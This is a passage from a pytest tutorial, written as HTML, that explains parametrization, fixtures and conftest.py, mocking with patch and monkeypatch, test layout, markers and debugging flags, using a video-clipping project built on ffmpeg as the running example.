&lt;h4 id=&quot;why-independence-matters&quot;&gt;Why independence matters&lt;/h4&gt;
&lt;p&gt;You could achieve something similar with a loop:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_timestamps():
    for timestamp, expected in cases:
        assert validate_timestamp(timestamp) == expected
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But there's a major difference: a normal loop stops at the first failure. With parametrization, pytest runs every case. So one test run tells you exactly which inputs are broken instead of merely telling you:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;test_timestamps failed
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;when-should-you-use-it-&quot;&gt;When should you use it?&lt;/h4&gt;
&lt;p&gt;The signal is simple:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;If you're about to write several nearly identical test functions that differ only in their input values, consider &lt;code&gt;parametrize&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It works just as well for valid inputs as it does for malformed or invalid ones.&lt;/p&gt;
&lt;h3 id=&quot;grouping-tests-in-a-class&quot;&gt;Grouping Tests in a Class&lt;/h3&gt;
&lt;p&gt;pytest supports test classes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;class TestGetVideoMetadata:
    def test_returns_none_for_missing_file(self):
        assert get_video_metadata(&quot;missing.mp4&quot;) is None

    def test_has_audio_true_when_audio_stream_present(self):
        ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But classes aren't mandatory. Use them when they provide something useful, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;shared setup&lt;/li&gt;
&lt;li&gt;fixtures scoped to the group&lt;/li&gt;
&lt;li&gt;applying a marker to multiple tests&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Don't use a class purely because it feels more organized. A well-named test file already provides plenty of organization.&lt;/p&gt;
&lt;h4 id=&quot;an-important-detail-about-test-classes&quot;&gt;An important detail about test classes&lt;/h4&gt;
&lt;p&gt;Each test method gets a fresh instance of the class. So this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;class TestSomething:
    def test_one(self):
        self.value = 1

    def test_two(self):
        assert self.value == 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;is not valid. &lt;code&gt;test_two&lt;/code&gt; doesn't receive the instance used by &lt;code&gt;test_one&lt;/code&gt;. That's intentional — tests should be isolated from one another. Depending on mutable state from another test creates order-dependent and difficult-to-debug failures.&lt;/p&gt;
&lt;h3 id=&quot;fixtures&quot;&gt;Fixtures&lt;/h3&gt;
&lt;p&gt;Fixtures are one of pytest's most useful features. A fixture is a function that provides something a test needs — think of it like an ingredient a recipe asks for by name. You don't prep it inside the recipe itself; you just say &quot;I need &lt;code&gt;sample_video_path&lt;/code&gt;&quot; and pytest hands it to you already made.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# tests/conftest.py

import pytest
from pathlib import Path


@pytest.fixture
def sample_video_path() -&amp;gt; Path:
    return Path(__file__).parent / &quot;fixtures&quot; / &quot;sample.mp4&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A test can then request it simply by putting the fixture name in its parameters:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# tests/core/test_video_inspector.py

def test_metadata_against_real_file(sample_video_path):
    result = get_video_metadata(str(sample_video_path))

    assert result is not None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pytest sees &lt;code&gt;sample_video_path&lt;/code&gt; in the test signature, finds the fixture with that name, runs it, and passes the result to the test. No import is required.&lt;/p&gt;
&lt;h3 id=&quot;why-conftest-py-matters&quot;&gt;Why &lt;code&gt;conftest.py&lt;/code&gt; Matters&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;conftest.py&lt;/code&gt; is automatically discovered by pytest. Fixtures defined there are available to test files in the same directory and its subdirectories — it works like a shared pantry that any test file in that part of the tree can pull from without asking for a delivery.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
├── conftest.py
├── core/
│   └── test_video_inspector.py
└── api/
    └── test_transcription.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A fixture defined in &lt;code&gt;tests/conftest.py&lt;/code&gt; is available to both &lt;code&gt;tests/core/&lt;/code&gt; and &lt;code&gt;tests/api/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can also have a more specific &lt;code&gt;conftest.py&lt;/code&gt; deeper in the tree:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
├── conftest.py
└── core/
    ├── conftest.py
    └── test_video_inspector.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The deeper fixture configuration can then be used specifically by that subtree. A useful convention is: root &lt;code&gt;conftest.py&lt;/code&gt; for shared fixtures, nested &lt;code&gt;conftest.py&lt;/code&gt; files for fixtures that are genuinely local to a particular test area.&lt;/p&gt;
&lt;h3 id=&quot;fixture-scope&quot;&gt;Fixture Scope&lt;/h3&gt;
&lt;p&gt;Fixtures don't necessarily have to run for every test. You can control their lifetime:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@pytest.fixture(scope=&quot;function&quot;)  # default
@pytest.fixture(scope=&quot;module&quot;)    # once per test file
@pytest.fixture(scope=&quot;session&quot;)   # once per entire test run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The default is &lt;code&gt;scope=&quot;function&quot;&lt;/code&gt;, which means a fresh fixture is created for every test. Prefer the default unless there is a good reason to reuse the fixture.&lt;/p&gt;
&lt;p&gt;A broader scope can make sense when setup is genuinely expensive and safe to share. For example, generating a synthetic sample video once per session may be much cheaper than generating it once for every test.&lt;/p&gt;
&lt;h3 id=&quot;built-in-fixtures-worth-knowing&quot;&gt;Built-in Fixtures Worth Knowing&lt;/h3&gt;
&lt;p&gt;pytest provides several useful fixtures out of the box.&lt;/p&gt;
&lt;h4 id=&quot;tmp-path&quot;&gt;&lt;code&gt;tmp_path&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Provides a unique temporary directory for each test. Great for anything that needs to write files.&lt;/p&gt;
&lt;h4 id=&quot;caplog&quot;&gt;&lt;code&gt;caplog&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Captures logging output. Useful when you want to verify that something logged an error or warning.&lt;/p&gt;
&lt;h4 id=&quot;capsys&quot;&gt;&lt;code&gt;capsys&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Captures stdout and stderr. Useful for testing CLI output.&lt;/p&gt;
&lt;h4 id=&quot;monkeypatch&quot;&gt;&lt;code&gt;monkeypatch&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Temporarily changes attributes, environment variables, dictionary entries, and other values. pytest automatically restores the changes after the test.&lt;/p&gt;
&lt;p&gt;You can inspect available fixtures with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --fixtures
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;tmp-path-in-practice&quot;&gt;&lt;code&gt;tmp_path&lt;/code&gt; in Practice&lt;/h3&gt;
&lt;p&gt;Suppose you want to verify that audio extraction creates an actual file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_extract_audio_writes_real_file(
    sample_video_path,
    tmp_path,
):
    output_path = tmp_path / &quot;output.wav&quot;

    result = extract_audio(
        str(sample_video_path),
        str(output_path),
    )

    assert result == str(output_path)
    assert output_path.exists()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is an integration-style test. It actually runs FFmpeg and checks that a real file was created. But because &lt;code&gt;tmp_path&lt;/code&gt; is temporary, the test doesn't leave generated files scattered around your project — pytest creates the directory and handles its cleanup.&lt;/p&gt;
&lt;h3 id=&quot;mocking-two-tools-different-jobs&quot;&gt;Mocking: Two Tools, Different Jobs&lt;/h3&gt;
&lt;p&gt;Python gives you &lt;code&gt;unittest.mock&lt;/code&gt;. pytest gives you &lt;code&gt;monkeypatch&lt;/code&gt;. They overlap, but each one shines in a different situation.&lt;/p&gt;
&lt;h4 id=&quot;unittest-mock-patch&quot;&gt;&lt;code&gt;unittest.mock.patch&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Use &lt;code&gt;patch&lt;/code&gt; when you want a more capable mock, particularly when you need to inspect how something was called.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from unittest.mock import patch


def test_metadata_no_audio():
    fake_probe = {
        &quot;format&quot;: {
            &quot;filename&quot;: &quot;silent.mp4&quot;,
            &quot;duration&quot;: &quot;10.0&quot;,
        },
        &quot;streams&quot;: [
            {
                &quot;codec_type&quot;: &quot;video&quot;,
                &quot;r_frame_rate&quot;: &quot;25/1&quot;,
            },
        ],
    }

    with patch(
        &quot;clipper.core.video_inspector.ffmpeg.probe&quot;,
        return_value=fake_probe,
    ):
        result = get_video_metadata(&quot;silent.mp4&quot;)

    assert result[&quot;has_audio&quot;] is False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;patch&lt;/code&gt; temporarily replaces the target with a mock. It is particularly useful when you want to assert things like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;mock_input.assert_called_once_with(&quot;in.mp4&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;monkeypatch-1&quot;&gt;&lt;code&gt;monkeypatch&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;monkeypatch&lt;/code&gt; is pytest's own fixture. It's particularly convenient for simple temporary substitutions.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_uses_default_bitrate_env_var(monkeypatch):
    monkeypatch.setenv(
        &quot;CLIPPER_DEFAULT_BITRATE&quot;,
        &quot;256k&quot;,
    )

    assert get_default_bitrate() == &quot;256k&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There's no context manager and no manual cleanup — pytest automatically restores the environment variable after the test. You can also replace attributes with &lt;code&gt;monkeypatch.setattr(...)&lt;/code&gt; or dictionary entries with &lt;code&gt;monkeypatch.setitem(...)&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;patch-vs-monkeypatch-a-practical-mental-model&quot;&gt;&lt;code&gt;patch&lt;/code&gt; vs &lt;code&gt;monkeypatch&lt;/code&gt;: A Practical Mental Model&lt;/h3&gt;
&lt;p&gt;Imagine your code is a toy robot and you want to test what happens when one of its components behaves differently. You don't want to actually break the component — you just want to temporarily pretend that it behaves differently.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;monkeypatch&lt;/code&gt; is like putting a temporary sticky note over the component: &quot;For this test, pretend this value is different.&quot; pytest removes the note when the test finishes.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;patch&lt;/code&gt; is another version of the same idea, but with a much more powerful mock object behind it. &lt;code&gt;patch&lt;/code&gt; can easily track call count, arguments, return values, exceptions, and chained calls.&lt;/p&gt;
&lt;p&gt;Both clean themselves up reliably when used correctly. With &lt;code&gt;patch&lt;/code&gt;, the common form in this project is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;with patch(...):
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The mock is restored automatically when the block ends, even if the test fails.&lt;/p&gt;
&lt;h4 id=&quot;which-one-should-you-use-&quot;&gt;Which One Should You Use?&lt;/h4&gt;
&lt;p&gt;A practical rule:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Need                                                 &lt;/th&gt;&lt;th&gt;Use&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Assert how something was called                      &lt;/td&gt;&lt;td&gt;&lt;code&gt;patch&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Check call count or exact arguments                   &lt;/td&gt;&lt;td&gt;&lt;code&gt;patch&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mock a chained/fluent API                             &lt;/td&gt;&lt;td&gt;&lt;code&gt;patch&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Replace an environment variable                       &lt;/td&gt;&lt;td&gt;&lt;code&gt;monkeypatch&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Temporarily change one attribute                      &lt;/td&gt;&lt;td&gt;&lt;code&gt;monkeypatch.setattr(...)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Temporarily change a dictionary entry                 &lt;/td&gt;&lt;td&gt;&lt;code&gt;monkeypatch.setitem(...)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Replace an external dependency and inspect the mock    &lt;/td&gt;&lt;td&gt;&lt;code&gt;patch&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The important thing isn't to memorize a strict rule. It's to recognize the distinction:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;If you need to inspect how the dependency was used, &lt;code&gt;patch&lt;/code&gt; is usually the natural choice. If you just need to temporarily replace a value or attribute, &lt;code&gt;monkeypatch&lt;/code&gt; is often simpler.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;side-effect-make-a-mock-fail&quot;&gt;&lt;code&gt;side_effect&lt;/code&gt;: Make a Mock Fail&lt;/h3&gt;
&lt;p&gt;Mocks aren't only useful for returning fake successful results. They can also simulate failures.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;return_value&lt;/code&gt; means &quot;always return this.&quot; &lt;code&gt;side_effect&lt;/code&gt; means &quot;raise this exception instead.&quot;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;with patch(
    &quot;clipper.core.video_inspector.ffmpeg.probe&quot;,
    side_effect=ffmpeg.Error(
        cmd=&quot;ffprobe&quot;,
        stdout=b&quot;&quot;,
        stderr=b&quot;bad file&quot;,
    ),
):
    result = get_video_metadata(&quot;bad.mp4&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This lets you exercise failure paths without needing to create a genuinely broken video file.&lt;/p&gt;
&lt;h3 id=&quot;mock-the-boundary-not-your-own-logic&quot;&gt;Mock the Boundary, Not Your Own Logic&lt;/h3&gt;
&lt;p&gt;This is probably the most important mocking rule in the entire guide:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Mock the boundary, not the logic you're trying to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Suppose your code does this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;probe = ffmpeg.probe(path)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The interesting logic is what your application does with the result. So mock &lt;code&gt;ffmpeg.probe&lt;/code&gt; and provide realistic fake data — don't mock the parsing logic itself. A test that mocks everything, including the thing you're trying to test, can end up proving nothing more than: &quot;my mocks returned what I told them to return.&quot;&lt;/p&gt;
&lt;p&gt;Put another way — you're testing your recipe, not reinventing the oven. External boundaries are good mocking candidates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FFmpeg&lt;/li&gt;
&lt;li&gt;HTTP APIs&lt;/li&gt;
&lt;li&gt;databases&lt;/li&gt;
&lt;li&gt;filesystem operations&lt;/li&gt;
&lt;li&gt;cloud services&lt;/li&gt;
&lt;li&gt;external processes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Your own business logic is usually what you want to execute for real.&lt;/p&gt;
&lt;h3 id=&quot;the-most-common-mocking-mistake-patching-the-wrong-path&quot;&gt;The Most Common Mocking Mistake: Patching the Wrong Path&lt;/h3&gt;
&lt;p&gt;This catches a lot of people. Suppose your module contains:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# video_inspector.py

import ffmpeg


def get_video_metadata(path):
    return ffmpeg.probe(path)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You might think you should patch &lt;code&gt;ffmpeg.probe&lt;/code&gt;. But that's not necessarily the correct target — the code under test looks up &lt;code&gt;ffmpeg&lt;/code&gt; in its own module namespace. Therefore, patch where the name is looked up:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;patch(
    &quot;clipper.core.video_inspector.ffmpeg.probe&quot;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The general rule is:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Patch where the object is looked up, not where it was originally defined.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you patch the wrong path, the real dependency may still run. That can make a test unexpectedly hit FFmpeg, the network, a database, or some other external system.&lt;/p&gt;
&lt;h3 id=&quot;mocking-a-chained-call&quot;&gt;Mocking a Chained Call&lt;/h3&gt;
&lt;p&gt;Some APIs aren't a single function call. For example, &lt;code&gt;ffmpeg-python&lt;/code&gt; can use a fluent chain:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;ffmpeg.input(...).output(...).overwrite_output().run(...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mocking that requires walking the chain. &lt;code&gt;MagicMock&lt;/code&gt; automatically creates mocks for attributes you access, so &lt;code&gt;mock_input.return_value&lt;/code&gt; represents the result of &lt;code&gt;ffmpeg.input(...)&lt;/code&gt;, &lt;code&gt;.output.return_value&lt;/code&gt; represents the next link in the chain, and so on until you reach &lt;code&gt;.run&lt;/code&gt; — the actual operation you want to make fail.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_extract_audio_sad_path(caplog):
    fake_error = ffmpeg.Error(
        cmd=&quot;ffmpeg&quot;,
        stdout=b&quot;&quot;,
        stderr=b&quot;encoding failed&quot;,
    )

    with patch(
        &quot;clipper.core.video_inspector.ffmpeg.input&quot;
    ) as mock_input:
        mock_run = (
            mock_input
            .return_value
            .output
            .return_value
            .overwrite_output
            .return_value
            .run
        )
        mock_run.side_effect = fake_error

        result = extract_audio(
            &quot;in.mp4&quot;,
            &quot;out.wav&quot;,
        )

    assert result is None
    assert &quot;error&quot; in caplog.text.lower()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Walking the chain into its own variable (&lt;code&gt;mock_run&lt;/code&gt;) before setting &lt;code&gt;side_effect&lt;/code&gt; keeps the assignment itself simple and unambiguous — trying to set an attribute in the middle of a long parenthesized chain is a common source of syntax mistakes.&lt;/p&gt;
&lt;h3 id=&quot;organizing-your-test-files&quot;&gt;Organizing Your Test Files&lt;/h3&gt;
&lt;p&gt;A simple and predictable test layout goes a long way. If your source looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;src/
└── clipper/
    └── core/
        └── video_inspector.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;mirror it under &lt;code&gt;tests/&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
└── core/
    └── test_video_inspector.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This makes it immediately obvious where the tests for a source module live.&lt;/p&gt;
&lt;h4 id=&quot;keep-tests-outside-src-&quot;&gt;Keep &lt;code&gt;tests/&lt;/code&gt; Outside &lt;code&gt;src/&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Use:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;project/
├── src/
├── tests/
└── pyproject.toml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;rather than:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;src/
├── clipper/
└── tests/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Keeping tests outside the package helps avoid accidentally shipping them with your built distribution and keeps the distinction between application code and test code clear.&lt;/p&gt;
&lt;h4 id=&quot;you-usually-don-t-need-init-py&quot;&gt;You Usually Don't Need &lt;code&gt;__init__.py&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;pytest doesn't require your test directories to be Python packages. So this is perfectly fine:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
├── core/
│   └── test_video_inspector.py
└── api/
    └── test_transcription.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No &lt;code&gt;__init__.py&lt;/code&gt; required. There can be edge cases where you intentionally want package semantics, but don't add &lt;code&gt;__init__.py&lt;/code&gt; to test directories just because you think pytest requires it. It doesn't.&lt;/p&gt;
&lt;h4 id=&quot;keep-fixtures-separate-from-test-code&quot;&gt;Keep Fixtures Separate from Test Code&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
├── conftest.py
├── fixtures/
│   └── sample.mp4
└── core/
    └── test_video_inspector.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This makes the distinction obvious: &lt;code&gt;test_*.py&lt;/code&gt; contains test logic, &lt;code&gt;fixtures/&lt;/code&gt; contains test data.&lt;/p&gt;
&lt;h3 id=&quot;mark-slow-and-external-tests&quot;&gt;Mark Slow and External Tests&lt;/h3&gt;
&lt;p&gt;Not every test costs the same amount to run. A test that calls real FFmpeg is different from a test that checks a pure Python function.&lt;/p&gt;
&lt;p&gt;You can mark integration tests:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@pytest.mark.integration
def test_extract_audio_against_real_file(...):
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then register the marker in &lt;code&gt;pyproject.toml&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-toml&quot;&gt;[tool.pytest.ini_options]
markers = [
    &quot;integration: calls real ffmpeg/ffprobe against a fixture file&quot;,
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you can run the fast suite without integration tests:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest -m &quot;not integration&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And run everything with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gives you a useful distinction between fast unit tests and slower integration tests.&lt;/p&gt;
&lt;h3 id=&quot;debugging-pytest-without-sprinkling-print-everywhere&quot;&gt;Debugging pytest Without Sprinkling &lt;code&gt;print()&lt;/code&gt; Everywhere&lt;/h3&gt;
&lt;p&gt;pytest captures output by default. That can be surprising when you're debugging — a &lt;code&gt;print(result)&lt;/code&gt; that produces nothing on screen. Here are the options you'll reach for most often.&lt;/p&gt;
&lt;h4 id=&quot;-s-show-stdout-stderr&quot;&gt;&lt;code&gt;-s&lt;/code&gt;: Show stdout/stderr&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest -s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This disables output capturing, so your &lt;code&gt;print()&lt;/code&gt; statements become visible. It's useful, although there are usually better debugging tools than adding prints everywhere.&lt;/p&gt;
&lt;h4 id=&quot;-k-run-tests-by-name&quot;&gt;&lt;code&gt;-k&lt;/code&gt;: Run Tests by Name&lt;/h4&gt;
&lt;p&gt;If you're working on audio extraction, there's no reason to run 200 unrelated tests.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest -k &quot;extract_audio&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pytest runs tests whose names match the expression. This is one of the most useful options during active development.&lt;/p&gt;
&lt;h4 id=&quot;-x-stop-at-the-first-failure&quot;&gt;&lt;code&gt;-x&lt;/code&gt;: Stop at the First Failure&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest -x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead of getting a wall of failures, pytest stops after the first one. This is particularly useful when fixing a cascading failure.&lt;/p&gt;
&lt;h4 id=&quot;--pdb-drop-into-the-debugger&quot;&gt;&lt;code&gt;--pdb&lt;/code&gt;: Drop Into the Debugger&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --pdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When a test fails, pytest drops you into an interactive debugger at the point of failure. Inside the debugger, you can inspect variables and control execution — &lt;code&gt;c&lt;/code&gt; continues, &lt;code&gt;q&lt;/code&gt; quits. This can be much faster than trying to predict where a bug is before running the test.&lt;/p&gt;
&lt;h4 id=&quot;-vv-more-verbose-output&quot;&gt;&lt;code&gt;-vv&lt;/code&gt;: More Verbose Output&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest -vv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Useful when assertions involve large dictionaries, long strings, or parametrized tests and you want more detail in the output.&lt;/p&gt;
&lt;h4 id=&quot;--lf-run-only-the-last-failures&quot;&gt;&lt;code&gt;--lf&lt;/code&gt;: Run Only the Last Failures&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --lf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--lf&lt;/code&gt; means &quot;last failed.&quot; It reruns tests that failed during the previous run instead of running the entire suite. This is particularly useful when you're fixing several failures one by one.&lt;/p&gt;
&lt;h4 id=&quot;a-practical-debugging-command&quot;&gt;A Practical Debugging Command&lt;/h4&gt;
&lt;p&gt;These options can be combined:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest -k &quot;extract_audio&quot; -x --pdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means: run only tests matching &lt;code&gt;extract_audio&lt;/code&gt;, stop at the first failure, and open the debugger at the failure. That's a very practical development loop.&lt;/p&gt;
&lt;h3 id=&quot;running-a-specific-test&quot;&gt;Running a Specific Test&lt;/h3&gt;
&lt;p&gt;pytest doesn't natively use line numbers to select a test. This isn't standard pytest test selection:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest test_file.py:29
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead, select by node ID:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest tests/core/test_video_inspector.py::test_metadata_no_audio
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or use &lt;code&gt;-k&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest -k &quot;metadata_no_audio&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Editors such as VS Code and PyCharm can provide &quot;run this test&quot; buttons. They translate your selection into pytest's name-based test selection behind the scenes. There are plugins that provide literal line-number selection, but you generally don't need one.&lt;/p&gt;
&lt;h3 id=&quot;quickly-inspecting-a-return-value&quot;&gt;Quickly Inspecting a Return Value&lt;/h3&gt;
&lt;p&gt;Sometimes you just want to see what a function actually returned. One quick technique is to deliberately make an assertion fail:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_scratch(sample_video_path):
    result = get_video_metadata(str(sample_video_path))

    assert result == {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If &lt;code&gt;{}&lt;/code&gt; isn't the actual result, pytest's failure output will show you the value. Delete the temporary test afterward.&lt;/p&gt;
&lt;p&gt;Another option is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --showlocals
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or the shorthand &lt;code&gt;-l&lt;/code&gt;, which shows local variables when a test fails.&lt;/p&gt;
&lt;h3 id=&quot;dealing-with-slow-tests&quot;&gt;Dealing with Slow Tests&lt;/h3&gt;
&lt;p&gt;Don't guess which tests are slow. Measure them.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --durations=10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This reports the ten slowest tests after the run. You may discover that one or two tests account for most of the delay. Optimizing everything before measuring can waste the very time you're trying to save.&lt;/p&gt;
&lt;h4 id=&quot;mark-slow-tests&quot;&gt;Mark Slow Tests&lt;/h4&gt;
&lt;p&gt;Tests that load a real model or perform real inference are good candidates for a &lt;code&gt;slow&lt;/code&gt; marker:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@pytest.mark.slow
def test_transcribe_real_audio_produces_valid_shape(
    sample_speech_path,
):
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Register the marker:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-toml&quot;&gt;[tool.pytest.ini_options]
markers = [
    &quot;integration: calls real ffmpeg/ffprobe against a fixture file&quot;,
    &quot;slow: tests that load a real model or run real transcription&quot;,
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then your normal development loop can skip them:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest -m &quot;not slow&quot;
&lt;/code&gt;&lt;/pre&gt;
